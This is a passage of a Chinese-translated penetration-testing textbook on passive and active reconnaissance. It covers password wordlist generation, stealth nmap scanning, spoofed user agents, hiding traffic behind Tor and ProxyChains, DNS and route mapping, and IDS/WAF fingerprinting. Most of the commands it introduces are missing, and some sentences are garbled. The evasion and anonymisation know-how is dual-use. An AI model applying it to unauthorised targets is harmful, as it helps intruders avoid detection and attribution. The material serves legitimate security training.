有两个黑客访问的网站 http://zone-h.com/?zh=1 和 https://haveibeenpwned.com 。这些网站有一些漏洞网站网址和它们的详细资料。 例如， http://testfire.net/ 被一个地下组织命名为沙特黑客（Saudi hackers）。如图2.14所示的网站提供了技术材料。 3.威胁情报 威胁情报是控制、计算、提炼一个组织的潜在信息，信息包括威胁、渗透、攻击一个组织的内容。这种情报的主要目的是确保组织意识到当前的风险，如高级持久性威胁（Advanced Persistent Threats，APT）、零日漏洞（Zero Day exploits），以及其他严重的外部威胁。例如，100万张信用卡的信息，在一家零售业公司A通过APT被偷盗，公司B将会得到警告、通报，并请他们注意设备安全。 图2.14 http://zone-h.com/?zh=1 网站截图 然而，由于缺乏对信息来源的信任、对于威胁的概率认识，组织有可能需要花费很长时间才能做出可行的决定。在上述示例中，B公司可能有2000家商店被取代或停止所有交易。 这些信息可能被攻击者利用。然而，这种信息被认为是被动侦察活动，因为到目前为止，还没有对目标发起直接攻击。 渗透测试或攻击者总是会订阅开源威胁情报的框架，如STIX和TAXII。 2.2.5 分析用户密码列表 迄今为止，你已经学会了使用被动侦测来收集目标机构的用户名和生物信息；攻击者也可以做到这些。下一步就是使用这些信息来创建用户和目标的密码列表。 可以下载常用的密码列表，并存储在Kali系统中的/usr/share/wordlists目录中。这些列表反映了很多用户的爱好，应用程序定期消耗列表中的密码，这样在转换到队列的下一个密码之前，会用到每一个可能的密码。 幸运的是，通用用户密码分析器（Common User Password Profiler，CUPP）可以让测试员针对特定的用户生成其对应的特殊wordlist文件。CUPP在Backtrack 5r3被提出。然而在Kali中必须下载后才可使用。为了获得CUPP，可输入以下命令： 这将会把CUPP下载在本地目录中。 CUPP是一个Python脚本，通过以下命令，可以在CUPP目录中简单地调用： 以交互的方式启动CUPP，这种交互方式可以提示用户利用指定的信息元素来创建wordlist文件。简单的例子如图2.15所示。 图2.15 使用CUPP创建wordlist 在交互模式下创建完wordlist后，将其放在CUPP目录中。 2.3 创建自定义单词列表来破解密码 在Kali Linux中可以使用多种工具来创建自定义的单词列表，用于破解密码。先介绍几个典型工具。"},
    {"text": "2.3.1 使用CeWL来映射网站 CeWL是一个Ruby应用程序，给定URL指定的深度，选择下面的外部链接，返回一个可以用于密码破解的单词列表，如John the Ripper。 图2.16提供了来源于 https://www.google.com 索引页的自定义单词列表。 图2.16 自定义的单词列表 2.3.2 使用Twofi从Twitter提取单词 我们可以使用Facebook、Twitter、LinkedIn等社交媒体来描述一个人。Twofi（Twitter words of Instest）是用Ruby脚本实现的推特应用程序，用来生成破解密码的单词列表。 为了使用Twofi，我们必须有一个有效的twitter API密钥和API密码。图2.17显示如何在被动侦察期间利用Twofi形成我们的自定义密码字列表，在下面的示例中，我们运行twofi–m 6-u@PacktPub>filename，生产的自定义单词列表文件发布到@PacktPub推特手柄。在个人有针对性的攻击中，Twofi将会更加强大。 图2.17 使用有效的twitter API密钥和API密码登录Twofi 2.4 小结 在攻击过程或者杀链中的第一个实际步骤是进行探测来确定攻击目标和潜在的攻击路由。被动探测访问公共数据。这是一个秘密进行的过程，攻击者的IP地址与活动不与正常访问区别开。然而，这些信息在进行社交网络攻击时起着决定性作用，它对其他类型的攻击也有着促进作用。 下一章我们将利用OSINT结果评估主动侦察类型。虽然主动侦察技术会带来更多信息，但也增加了被检测的风险。因此，重点是高级的隐秘技术。 第3章 外网和内网的主动侦察 主动侦察阶段是为了尽可能多地收集与目标有关的信息，这些信息用来帮助杀链的攻击实施。 我们已经知道如何使用OSINT完成几乎检测不到的被动侦察，这种侦察可以产生大量关于目标组织及其用户的信息。 主动侦察是建立在开源的成果和被动侦察之上，并侧重于使用探测来确定到达目标的路径，暴露目标的攻击面（attack surface）。在一般情况下，复杂的系统有更大的攻击面，并且每个面都可被利用和再利用，以支持其他的攻击。 虽然主动侦察会产生更多更有用的信息，但是，由于与目标系统的相互作用可能会被记录，并且可能会通过防火墙、入侵检测系统（IDS）、入侵阻止系统（IPS）等保护设施触发报警。当对攻击者有用的数据增加时，被检测到的风险同样增加，如图3.1所示。 图3.1 攻击数据与风险关系图 为了提高提供详细的主动侦察信息的有效性，我们的重点将是使用隐形的、不易察觉的技术。 在这一章中，你将学到： ·隐形扫描策略。 ·外部和内部设施、主机发现和枚举。 ·应用综合侦察，特别是recon-ng。 ·使用DHCP枚举内部主机。 ·渗透测试时有用的Microsoft Windows命令。 ·利用默认配置。 3.1 隐形扫描策略 被目标发现是主动侦察的最大风险。使用测试人员的时间、数据戳、源IP地址及其他附加信息，目标可能识别出侵入侦察的来源。因此，采用隐形技术，可以将被发觉的概率降到最低。 当采用隐形技术侦察时，测试人员模拟黑客的行动需要做到以下几点： ·伪装工具签名来逃避检测和触发警报。 ·将攻击隐藏于合法流量中。 ·修改攻击，隐藏其流量的来源和类型。 ·使用非标准的流量类型或加密来使攻击隐形。 隐形扫描技术包括以下几个方面的全部或部分： ·调整源IP栈和工具识别设置。 ·修改数据包的参数（nmap）。 ·使用代理的匿名网络（ProxyChains和Tor网络）。 3.1.1 调整源IP栈和工具识别设置 在渗透测试人员（或攻击人员）开始测试之前，必须保证禁用或关闭所有Kali不必要的服务。 例如，如果本地正在运行不是必需的DHCP守护进程，那么DHCP可能与目标系统交互，这种交互可能会被记录，并且发送警报到目标的管理员。 一些商业和开源工具（例如，Metasploit框架）用一个标识序列标记它们的数据包。虽然这可能对测试后分析系统的事件日志很有用（由一个特定的测试工具发起的事件可以直接与系统的事件日志进行比较，用于确定网络侦测情况并响应攻击），但是它也可能触发某些入侵检测系统。测试你的工具，用它来攻击一个实验系统，确定被标记的数据包，并且要么改变标签，要么小心使用工具。 识别标签有最简单的方法，即使用工具在虚拟目标系统上创建新的应用，然后查看系统日志中与工具名称相关的记录。此外，使用Wireshark捕获攻击者和目标虚拟机之间的信息流，然后搜索抓包（packet capture）文件，寻找由测试工具产生的那些关键字（工具的名称、供应商、证书序列号等），也是一种有效的方法。 在Metasploit框架中的用户代理（useragent），可以通过修改http_form_field选项改变。在msfconsole提示下，使用auxiliary/fuzzers/http/http_form_field选择选项，然后设置一个新的用户代理，如图3.2所示。 图3.2 设置新用户代理 在本实例中，用户代理被设定为谷歌的索引蜘蛛程序——Googlebot。这是一种常见的自动化应用程序，用于访问和索引网站，很少引起网站所有者的注意。 识别合法的用户代理，参考实例： www.useragentstring.com 。"},
    {"text": "3.1.2 修改数据包参数 主动侦察最常用的方法是对目标发动扫描——发送定义的数据包到目标，然后利用返回的数据包来获取信息。这种类型最常用的工具是网络映射器（Network Mapper，nmap）。 为了有效使用nmap，必须拥有root级别的权限。这是典型的应用程序操作的数据包，也是Kali默认以root级别启动的原因。 当试图减少检测，用一些隐形技术来避免检测及随后的报警，包括以下内容： ·测试之前确定扫描的目标，发送需要确定目标的最小数量的数据包。例如，如果你想确认一个虚拟主机的存在，首先需要确定80端口，这个基于Web服务的默认端口是开放的。 ·避免可能与目标系统连接的扫描，避免可能泄漏数据的扫描。不要ping目标，或使用同步（SYN）和非常规数据包扫描，如确认（ACK）、完成（FIN）和复位（RST）数据包。 ·随机化或欺骗分组设置，如源IP和端口地址，以及MAC地址。 ·调节定时以减缓目标端的包的到来。 ·通过包的分解或附加随机数据来改变数据包大小，以此混淆设备对数据包的检测。 例如，如果你想进行一次隐形扫描并且做最小化的侦测，可以使用以下nmap命令： 表3.1详细解释了前面的命令。 表3.1 namp命令参数简表 总之，这些选项将创建一个非常缓慢的扫描，隐藏扫描源的真实身份。然而，如果数据包太不常用、修改太多，也可能吸引目标的注意；因此，许多测试者和攻击者利用匿名网络，尽量最小化侦测。"},
    {"text": "3.1.3 使用匿名网络代理 在本节中，我们将探讨攻击者在网络上保持匿名性所使用的两个重要工具——Tor和Privoxy。 Tor是第三代洋葱路由（ www.torproject.org ），开源软件，提供免费接入的匿名网络代理。洋葱路由加密用户流量使网络匿名，并通过一系列的洋葱路由器发送匿名流量。在每一个路由器，解密加密信息，得到路由信息，然后再发送该消息到下一个节点。它被比喻为逐步剥洋葱，故以此命名。它通过保护用户的IP流的源地址和目的地址，抵御流量分析的攻击。 在这个例子中，使用Tor的Privoxy代理服务器（一个非高速缓存的Web代理）位于与因特网通信的应用程序的中间，利用先进的过滤技术，保护用户隐私、移除广告，并将潜在的恶意数据发送给测试者。 安装Tor，请执行下列步骤： 1.首先执行apt-get update和apt-get update命令，然后运行下面的命令： 2.一旦安装了Tor，编辑位于/etc目录下的proxychains.conf文件。 该文件规定了使用在Tor网络系统上的测试系统使用代理服务器的数量和顺序。代理服务器可能停止工作，或者它们可能遇到重载荷（导致缓慢或潜连接）；如果发生这种情况，该文件定义的proxychain将失效，因为预期链路正在消失。因此，禁止使用strict_chains，并且启用dynamic_chains，这就保证了连接将被路由，如图3.3所示。 图3.3 编辑proxychains.conf文件 3.接下来，编辑[ProxyList]部分，以确保socks5代理存在，如图3.4所示。 图3.4 编辑[ProxyList] 在网上很容易找到开放代理，并添加到proxychains.conf文件中。测试人员可以利用这一优势，进一步模糊自己的身份。例如，如果有报道说某一个国家或社区的IP地址一直受到网络攻击，寻找本地的开放代理，并将它们添加到你的列表，或单独配置一个文件。 4.从终端窗口启动Tor服务，请输入以下命令： 5.使用下面的命令验证Tor已经启动： 验证Tor网络正在工作，并提供匿名连接是很重要的。 6.确认你的源IP地址，从终端输入以下命令： 这将启动Iceweasel浏览器并打开一个网站，提供与网页连接的源IP地址。 7.注意IP地址，然后，使用以下的proxychains命令调用Tor路由： 在此特定实例中，IP地址被确定为96.47.226.60。从终端窗口查询的IP地址表明，某个传播正在从Tor出口节点退出，如图3.5所示。 图3.5 查询节点的截图 通过访问 https://check.torproject.org ，你也可以验证Tor的功能是否正常。 虽然通信使用Tor网络现在受到保护，但当你的系统使DNS请求提供你的身份到ISP时，DNS可能发生泄漏。你可以检查DNS泄漏，地址为： www.dnsleaktest.com 。 大多数命令行可以在使用proxychains访问Tor网络的控制平台上运行。 在使用Tor时，要牢记如下注意事项： ·Tor提供匿名服务，但它不能保证隐私。出口节点的业主都能够嗅出流量，也有可能会访问用户的凭据。 ·在Tor浏览器套件中的漏洞，据称被执法部门用于探测系统并获取用户信息。 ·ProxyChains不处理UDP流量。 ·某些应用程序和服务无法在这样的环境下运行，实际上，Metasploit与nmap可能不能运行。nmap的隐身SYN扫描被ProxyChains终止，且连接扫描被调用时；这可能会泄漏信息。 ·某些浏览器的应用程序（ActiveX、PDF、Flash、Java、RealPlay和QuickTime），可能用于获取你的IP地址。 ·攻击者也可以使用随机链接。使用此选项，ProxyChains将从我们的列表中随机选择IP地址，并用它们来创建ProxyChain。这意味着每次使用ProxyChains时，代理链将看起来与目标不同，从而更难从源头跟踪流量。 ·为此，以类似的方式编辑/etc/proxychains.conf文件，将dynamic chains改为注释，取消random_chain注释，因为我们一次只能使用一个选项。 ·此外，攻击者可以使用chain_len取消注释行，然后在创建一个随机代理链时确定链中的IP地址数。 这项技术可以让攻击者在网上保持匿名。 Tor-Buddy脚本允许你控制Tor IP地址的刷新频率，但是自动识别用户的信息非常困难（ http://sourceforge.net/projects/linuxscripts/files/Tor-Buddy/ ）。"},
    {"text": "3.2 DNS侦察和路由映射 一旦测试员确定其感兴趣的目标在线，下一步就是识别目标的IP地址和路由。 DNS侦察关心的是：识别谁拥有一个特定域或一系列IP地址（whois-类别信息），定义实际域名的DNS信息和标识目标的IP地址，以及在渗透测试员或攻击者与最终目标之间的路由。 搜集这些信息是半主动的，一些信息是免费开源的，而另一些信息则来自第三方实体，例如DNS注册机构。虽然注册机构可能会收集IP地址和关于攻击者的请求的数据，但很少提供终端目标的信息。可以由目标直接检测到的信息是从不用来评估或者保留的，如DNS服务器日志。 因为需要的信息可以用一个确定的系统级、有条理的方法查询到，所以也可以自动收集信息。 DNS信息可能包括旧的或者不正确的单元。为了最小化错误的信息，可以查询不同源服务器以及用不同的工具来交叉验证结果。评估结果，并手动识别任何可疑的发现。用一个脚本来自动收集信息。脚本应该创建一个渗透测试的文件夹，然后为每个正在运行的应用创建一系列文件夹。在脚本执行完每个命令后，直接把结果传送给指定的文件夹。 whois命令 研究IP地址空间的第一步是识别分配给目的网站的地址。一般通过使用whois命令来完成，该命令允许人们查询互联网资源中的相关信息数据库，数据库包含注册用户的域名或者IP地址。依赖于查询的数据库，对whois请求的响应将会提供名字、物理地址、电话号码和电子邮件地址（在社交工程攻击中是有用的），也包括IP地址和DNS服务器名。 攻击者用whois查询语句可以得到： ·支持基于查询中指定的位置或者人员的社交网络攻击。 ·识别物理攻击的位置。 ·识别用于war dialing攻击，或者社交工程攻击的电话号码。 ·实施递归的研究来定位其他托管在同一个服务器的域，例如目标或者由同一个用户操作的服务器；如果它们是不安全的，攻击者可以利用它们得到服务器管理员的权限，然后攻克目标服务器。 ·在域到期的情况下，攻击者可以试图改变域的大小，并创建一个外观相似的网站来危害访问者，这些访问者以为他们访问的是原来的网站。 ·攻击者将用权威的DNS服务器来帮助DNS勘测，权威服务器有需要查找的那个域的记录。 注意，越来越多的实体使用第三方来保护数据，有一些域，例如.gov和.mil可能不会被公共域访问。 发给这些域的请求会被记入日志。几个在线列表有效地描述了指定给政府使用的域和IP地址；大多数工具都有“不联系”地址选项，且应该将政府域输入这些字段，来避免错误的关注类型。 使用whois查询语句的最简单方式是使用命令行。如图3.6所示，该图显示了使用whois命令获取cyberhia.com域的相关信息： 图3.6 使用whois命令获取cyberhia.com域的相关信息 返回的whois记录包含地理信息、名字和联系信息——所有会导致社交工程攻击的信息。 有几个自动查找询问whois的网站，攻击者可以利用这样站点，在目标和他们之间插入一个步骤；然而，执行查找的站点可能会记录查询者的IP地址。 3.3 综合侦察应用 虽然Kali包含多个工具以促进侦察，许多工具包含相同的功能，但是将数据从一个工具导入另一个通常是一个复杂的手动过程。大多数测试者选择工具的一个子集，并使用脚本调用它们。 最初的综合侦察工具是命令行工具，附带一组定义的功能；其中，最常用的是DMitry工具（Deepmagic Information Gathering Tool）。DMitry可以执行whois查询、检索netcraft.com信息，搜索子域、电子邮件地址，并进行TCP扫描。不幸的是，除了这些功能，它是不可扩展的。 图3.7提供了有关在 www.cyberhia.com 上运行Dmitry的详细信息： 图3.7 在www.cyberhia.com上运行Dmitry命令 最新的进展创造了综合框架应用程序，结合了主动侦察和被动侦察；接下来我们将详细介绍recon-ng。"},
    {"text": "3.3.1 recon-ng框架 recon-ng框架是进行（主动和被动）侦察的开源框架。像Metasploit框架和社会工程师工具包（Social Engineer Toolkit）一样，recon-ng采用了模块化的框架。每个模块是一个定制的cmd解释器，为执行特定任务作预配置。 recon-ng框架及其模块用Python编写的，为方便测试，允许渗透测试人员轻松地建立或改变模块。 recon-ng框架工具利用第三方API进行一些评估；这种额外的灵活性意味着reconng采取的活动可能会被第三方跟踪。用户可以自定义一个useragent字符串或代理请求，以尽量减少警告目标网络。 默认情况下kali的新版中都安装了recon-ng。通过recon-ng收集的所有数据被放置在一个数据库中，使你能够创建针对存储数据的各种报告。用户可以选择报告模块中的任意一个来自动创建，可以是CVS报告，也可以是HTML报告。 要启用程序，在提示符下输入recon-ng，如图3.8所示。初始屏幕将显示本模块的数量，并且帮助命令将显示可应用的命令。 要显示可用的模块，在类型提示符recon-ng>后输入show。要加载特定的模块，输入load，其后紧跟模块的名称。在输入中，按下Tab键会自动完成命令的输入。如果模块具有独特的名称，可以输入名称的独特之处，模块载入将不加载完整路径。 输入info，见图3.9，将为你提供有关模块的工作原理，并在必要时获得API密钥。 一旦模块被加载，使用set命令设置选项，然后输入run来执行，如图3.9所示。 图3.8 输入recon-ng命令启动程序 图3.9 使用info查看模块 总的来说，依靠recon-ng的测试人员需要做到以下几点： ·使用Whois、Jigsaw、Linkedin和Twitter来获得连接（用损坏的模块提取并呈现电子邮件数据）。 ·识别主机。 ·使用hostop、ipinfodb、maxmind、uniapple和wigle识别主机及个人的地理位置。 ·使用netcraft及相关模块识别主机信息。 ·确定以前被攻击入侵过，在互联网上泄漏过的账户及其密码信息（pwnedlist模块、wascompanyhacked、xssed和punkspider）。 IPv4 IP（因特网协议）地址是识别连接到私有网或者公共网的设备的唯一号码。今天，因特网大部分是基于IPv4的。Kali包括几个工具用来帮助DNS侦察，如表3.2所示。 表3.2 Kali侦察DNS的几个工具 测试期间，大多数调查者运行fierce来确认所有可能已经识别的目标，然后运行至少两个综合性的工具（例如，dnsenum和dnsrecon）来产生最多的数据，并提供一个交叉确认等级。 在图3.10中，使用dnsrecon产生一个标准的DNS记录搜索，并且这个搜索对于SRV记录是特定的。每个例子的结果摘录见图3.10。 图3.10 使用dnsrecon搜索域名相关信息的截图 DNSrecon允许渗透测试员获得SOA记录，名称服务器（name server，NS），邮件交换（mail exchanger，MX）主机，使用发送者策略框架（Sender Policy Framework，SPF）发送电子邮件的服务器，以及使用的IP地址范围。 IPv6 虽然IPv4似乎允许一个很大的地址空间，但是，大量可用的IP地址在几年前就已经耗尽，在这种情况下，需使用NAT技术来提供可用地址的数量。一个更持久的解决方法已经找到，即采用改进的IP地址方案IPv6。虽然只有少于5%的因特网在使用IPv6地址，但它的使用率的确在增长，并且渗透测试员必须处理IPv4和IPv6之间的不同。在IPv6中，源地址和目的地址的长度是128位，可扩展为2128个可能的地址，也就是有3.4×1038个地址。 随着可寻址地址空间大小的增加，地址空间对渗透测试员也呈现了一些问题，尤其是使用扫描器在可用地址空间中寻找在线服务器的时候。然而一些IPv6协议的特征已经简化了发现过程，尤其是使用ICMPv6确定活跃的本地链路地址。 针对如下情况，执行初始浏览时考虑IPv6是很重要的： ·测试工具对IPv6功能的支持是不均匀的，所以测试员必须确定每一个工具在IPv4、IPv6、混合网络中的性能和准确性。 ·由于IPv6是一个相当新的协议，目标网络可能包含泄漏重要数据的错误配置；测试员必须识别并利用这个信息。 ·早先的网络协议（防火墙、IDS和IPS）可能不会测出IPv6。在这些情况下，渗透测试员可以利用IPv6信道保持与网络的隐蔽通信，并泄漏出未检测到的数据。 3.3.2 使用IPv6专用工具 Kali包含几个利用IPv6的工具（大多数综合的扫描器例如nmap现在也支持IPv6），见表3.3，绝大部分支持IPv6的工具源自THC-IPv6攻击包。 表3.3 Kali包含的支持IPv6的工具 Metasploit也可以用于IPv6主机发现。auxiliary/scanner/discovery/ipv6_multicast_ping模块将发现具有物理（MAC）地址的所有启用IPv6的计算机，如图3.11所示。 图3.11 执行auxiliary/scanner/discovery/ipv6_multicast_ping命令 THC IPv6套件atk6-alive6将发现同一段中的实时地址，如图3.12所示。 图3.12 执行atk6-alive6命令"},
    {"text": "3.3.3 映射路由到目标 路由映射最开始是一个路由诊断工具，用于查看IP数据包从一个主机到另一个主机的路由连接。通过使用IP数据包中的存活时间TTL（time to live）变量，每一跳（hop）在从一点到下一点时，从接收路由器引出一个ICMP TIME_EXCEEDED消息，同时TTL字段的值减1。数据包计算跳以及使用的路由器的数量。 从攻击者或者渗透测试员的角度看，traceroute数据有以下重要数据： ·攻击者与目标之间的准确路径。 ·关于网络外部拓扑结构的提示。 ·确定可能过滤攻击流的访问控制设备（防火墙和包过滤路由器）。 ·如果网络配置错误，可能会识别内部地址。 使用基于Web的traceroute（ www.traceroute.org ），可以追查到目标网络不同地理位置的源地址。这些形式的扫描，可以定期地识别不止一个连接目标的不同网络，在一个接近目标网络的位置，通过执行单个的traceroute，可能忽略掉一些扫描识别信息。基于Web的traceroute可能识别多重初始地址的主机，该主机把两个或者更多个网络连接起来。这些主机是攻击者的重点攻击目标，因为它们大幅度提高了对目标网络的攻击面。 在Kali系统中，traceroute是一个命令行程序，利用ICMP包来映射路由；在Windows系统中，该程序是tracert。 如果在Kali中启动traceroute，你可能看到大多数过滤掉的跳（用***表示数据）。例如，从作者现在的位置到 www.google.com ，执行traceroute命令的结果如图3.13所示。 图3.13 在Kali中使用traceroute命令 然而，在Windows环境中，如果用tracert执行相同的请求，我们可以看到如图3.14所示的信息。 图3.14 在Kali中使用tracert命令 我们不仅能得到完整的路径，而且还能看到 www.google.com 正被解析为一个略有不同的IP地址，这表明负载均衡器是起作用的（你可以使用Kali的lbd脚本来确认其是否起作用，当然，该活动可能被目标位置记录）。 默认情况下，这是不同路径存在的原因，在Kali环境中，traceroute用于UDP数据报，而在Windows环境中，tracert使用ICMP返回请求（ICMP type 8）。因此，当使用Kali工具完成一个traceroute时，为了获得最完整的路径并绕过数据报过滤设备，使用多重协议是很重要的。 Kali提供下列工具来完成路由追踪，见表3.4。 表3.4 Kali提供的路由扫描工具 由于对数据包类型、源数据包，以及目的数据包的控制，hping3已成为最有用的工具之一。例如，Google不允许ping请求。然而，如果将发送数据包作为一个TCP SYN请求，则有可能ping通服务器。 在下面的例子中，测试员试图在命令行中ping通谷歌。返回的数据确定了 www.google.com 是一个未知的主机；谷歌很明显阻塞了基于ICMP的ping命令。然而，下一条命令调用了hping3，命令它做以下事情： ·使用有SYN标识集（-S）的TCP向谷歌发送一个类ping命令。 ·把数据包直接发送到80端口，该类型的合法请求是很少阻塞的（-p 80）。 ·为发送给目标的三个数据包设置计数（-c 3）。 执行上面的步骤所使用的命令行如图3.15所示。 hping3命令成功地确定了在线目标，并提供了基本的路由信息。 图3.15 在Kali中使用ping命令和hping3命令 3.4 识别外部网络基础设施 一旦测试者的身份已被保护，扫描网络关键的第一步就是确定在网络上的因特网可接入部分的设备。 攻击者和渗透测试人员使用这些信息来做到以下几点： ·确定可能混淆设备（负载平衡器）或消除（防火墙和数据包检查设备）测试结果。 ·识别已知漏洞的设备。 ·继续实施隐形扫描来识别设备。 ·获得目标的理解，重点是安全体系结构和一般安全性。 跟踪路由（traceroute）提供了关于包过滤能力的基本信息；Kali的一些其他应用包括的内容如表3.5所示。 表3.5 Kali的一些常见应用 图3.16显示的是运行在lbd脚本上的针对Facebook的结果；你可以看到，谷歌在它的网站上同时使用DNS–负载平衡与HTTP–负载平衡。从渗透测试者的角度来看，这些信息可以用来解释为什么得到的是杂散的结果，因为负载平衡器作为一个特定的工具，将活动从一个服务器转移到了另一个。 图3.16 针对Facebook的测试结果 3.5 防火墙外映射 攻击者通常使用traceroute实用程序启动网络调试，该程序将尝试把路由上的所有主机映射到特定的目标主机或系统上。一旦目的到达，TTL字段将为零，则目标将丢弃该数据报并生成超过ICMP时间的数据包返回到发起者。定期的跟踪路由如图3.17所示。 图3.17 执行traceroute程序进行路由跟踪 从上面的例子可以看出，我们不能超越一个特定的IP：这意味着最有可能在第4跳有一个包过滤设备。攻击者会深入了解该IP上部署的内容。 部署默认UDP数据报选项，它会在每次发送UDP数据报时增加端口号。因此，攻击者将开始指向一个端口号码以达到最终的目标地址。"},
    {"text": "3.6 IDS/IPS识别 渗透测试员可以利用fragroute和WAFW00F来识别特定位置是否存在任何检测或预防机制，例如入侵检测系统（Intrusion Detection System，IDS）/入侵防御系统（Intrusion Prevention System，IPS）/Web应用防火墙（Web Application Firewall，WAF）。 fragroute是Kali Linux中的一个默认工具，它是碎片化的。网络数据包允许攻击者拦截、修改并重写到特定目标的出口流量。该工具在高度安全的远程环境中非常方便。 图3.18提供了fragroute中确定网络ID的选项列表。 图3.18 使用fragroute命令的截图 攻击者还可以编写自己的自定义配置来执行碎片攻击：延迟、复制、丢弃、分片、重叠、重新排序、源路由和分段。图3.19为一个自定义配置的示例。 图3.19 自定义配置示例 在目标上运行fragroute和运行fragroute target.com，一样简单；如果target.com发生任何连接，攻击者就可以看到要发送到target.com的流量。如图3.20所示，IP段按照自定义配置文件分段： 图3.20 查看其他IP发送到目标IP所用流量 攻击者在主动侦察期间利用的另一个工具是WAFW00f。此工具预先安装在最新版本的Kali Linux中。它用于识别和指纹Web应用程序防火墙（Web Application Firewall，WAF）产品。它还提供了众所周知的WAF列表。可以通过在命令中输入switch-l（例如，Wafw00f-l）来列出该列表。 图3.21提供了在Web应用程序后运行的WAF。 图3.21 WAF列表 3.7 枚举主机 主机枚举是获得特定主机的特定细节的过程。主机枚举不知道服务器或无线接入点的存在；相反，我们需要确定开放端口、基本操作系统、运行的各种服务、支撑的各种应用等内容，来不断扩大攻击面。 这具有高度的侵入性，除非特别小心，否则主动侦察将被目标系统检测到，并被记录。 发现活动的主机 第一步是运行针对目标地址空间的网络ping扫描并寻找答复，特别的信息会表明一个特定的目标是活动的、有能力应答的。从历史经验看，ping侦测主要使用ICMP；当然，TCP、UDP、ICMP和ARP通信也可用于鉴定主机的活动情况。 各种扫描器可以通过Internet远程运行，用来确定主机的活动性。虽然主扫描器是nmap，但Kali提供的另外几种应用也是有用的，如表3.6所示。 表3.6 Kali提供的几种扫描应用 对于渗透测试者或攻击者，从活动主机返回的数据用来确定活动目标为攻击目标。 进行渗透测试的同时，运行多个主机发现扫描。某些设备可能是时间相关的。在一次渗透测试中，发现系统管理员在正常工作时间结束后，建立了与游戏服务器的连接。因为游戏服务器不是一个经批准的商业系统，管理员没有按照正常的过程来保护服务器；在其上发现了多个脆弱的服务，它们并没有打上必要的安全补丁。测试人员能够攻击游戏服务器，在管理员的游戏服务器中，使用漏洞并获得企业网络的底层接入。 3.8 端口、操作系统和发现服务 Kali提供了几种不同的有用工具，用于识别远程主机上的开放端口、操作系统和安装的服务。这些功能大多可以使用nmap完成。尽管我们将专注于利用nmap的例子，但基本原则也适用于其他工具。 端口扫描 端口扫描是连接到TCP和UDP端口，以确定何种服务、何种应用程序在目标设备上运行的过程。在每个系统上的TCP和UDP有65535个端口。某些端口已知与特定服务相关联（TCP 20和TCP 21是用于文件传输协议服务（FTP）的通用端口）。前1024个是众所周知的端口，并且定义的大多数服务在此范围内的端口上运行；IANA维护着被认可的服务和端口（ http://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml ）。 虽然，对一些特定的服务存在已被接受的端口，如80端口为基于网络的流量的接受端口，但是，服务可以直接使用任何端口。此选项通常用于隐藏特定的服务，特别是如果已知该服务是易受攻击的。然而，如果攻击者完成端口扫描，并没有找到预期的服务，或发现它使用了一个不寻常的端口，他们将被提示作进一步调查。 通用端口映射工具nmap依靠活动栈指纹。特制的数据包被发送到目标系统，nmap以操作系统对这些数据包的响应来识别这些操作系统。为了使nmap正常工作，至少须有一个监听端口是开放的，而操作系统必须是已知和有指纹的，还有，该指纹的副本必须在本地数据库。 将nmap用于端口发现是有很大的噪声的，将被网络安全设备检测并记录。要记住的几点如下： ·侧重于隐形技术的攻击者和渗透测试者只注意测试端口，那么，将影响他们锁定目标的杀链。如果他们已在发起了对Web服务器的漏洞的攻击，他们将寻求80端口或8080端口可访问的目标。 ·大多数端口扫描器都有一个默认扫描端口列表，前提是相信你知道什么在名单上，什么被省略。同时考虑TCP端口和UDP端口。 ·成功的扫描需要TCP/IP及相关协议、网络和一些特殊工具的深度知识。例如，SCTP是网络上一个越来越普遍的协议，但它在企业网络测试时很少使用。 ·即使慢慢来，端口扫描也会影响网络。对一些较旧的网络设备，以及供应商的一些特定设备，在接收到端口扫描时会锁定，从而把扫描转换为一个拒绝服务攻击。 ·用来扫描一个端口的工具，尤其是nmap，正在扩展常规的功能。它们也可以用来检测漏洞，甚至利用简单的安全漏洞。"},
    {"text": "3.9 使用netcat编写自己的端口扫描器 攻击者利用代理应用程序和Tor网络，也可以编写自己的网络端口扫描器。通过netcat应用以下命令行，即可在渗透测试中识别开放端口列表，如图3.22所示。 相同的脚本还可以修改为在单个IP上攻击多个目标，如以下代码所示： 在使用自定义端口扫描器的扫描入侵检测系统时，被警报的概率很高。 图3.22 查看开放端口列表 3.9.1 指纹识别操作系统 确定远程系统的操作系统类型，使用以下两种类型的扫描。 ·主动指纹识别（active fingerprinting）：攻击者通过发送正常的和异常的数据包到目标系统，记录它们的反应模式，称其为指纹（fingerprint）。将指纹与本地数据库进行比较，操作系统可被确定。 ·被动指纹识别（passive fingerprinting）：攻击者嗅探，或记录和分析数据包流，以确定该分组的特性。 主动指纹比被动指纹更快、更准确。在Kali中，有两个主要的主动工具是nmap和xprobe2。 nmap工具注入数据包到目标网络，并分析它收到的响应。如下命令中，-O标志命令nmap确定操作系统。 一个相关的程序，xprobe2使不同的TCP、UDP和ICMP数据包绕过防火墙，避免被IDS/IPS系统检测。xprobe2还使用模糊模式匹配：未识别操作系统被确定为一种类型；相反，被分配为几个可能的变体之一。 注意，对目标系统隐藏真实操作系统是简单的。因为指纹软件依赖于分组包设置，如生存时间或初始窗口大小，改变这些值或其他用户可配置的设置，可以改变工具的结果。有些组织积极改变这些值，使侦察的最后阶段更加困难。 3.9.2 确定主动服务 侦察的枚举部分的最终目标是确定运行在目标系统上的服务和应用。如果可能的话，攻击者想知道服务类型、供应商和版本，以确定具体的漏洞。 下面是用于确定主动服务的几种技术： ·确定默认的端口和服务：如果远程系统被标识为微软操作系统打开服务端口80（WWW服务），攻击者可能会认为默认安装的是微软IIS服务器。进一步的测试将被用来验证这种假设（nmap）。 ·标志提取：完成该任务，使用amap、netcat、nmap和远程登录等工具。 ·审查默认网页：一些应用程序安装使用默认的管理、错误或其他页面。如果攻击者访问这些页面，他们会提供安装应用程序的指导，这可能是攻击的漏洞。在图3.23中，攻击者可以很容易地识别已经安装在目标系统上的Apache Tomcat的版本。 ·审查源代码：配置不当的Web应用程序可能应答某些HTTP请求，如头部（HEAD）或选项（OPTIONS）的回应包括有Web服务器软件版本，或基本操作系统，或者使用的脚本环境。在图3.23中，netcat是从命令行启动的，并用于将原始HEAD数据包发送到特定网站。该请求将生成一个错误（找不到404）消息；然而，它也指出，该服务器正在运行微软的IIS，版本为7.5。 图3.23 审查源代码 3.10 大规模扫描 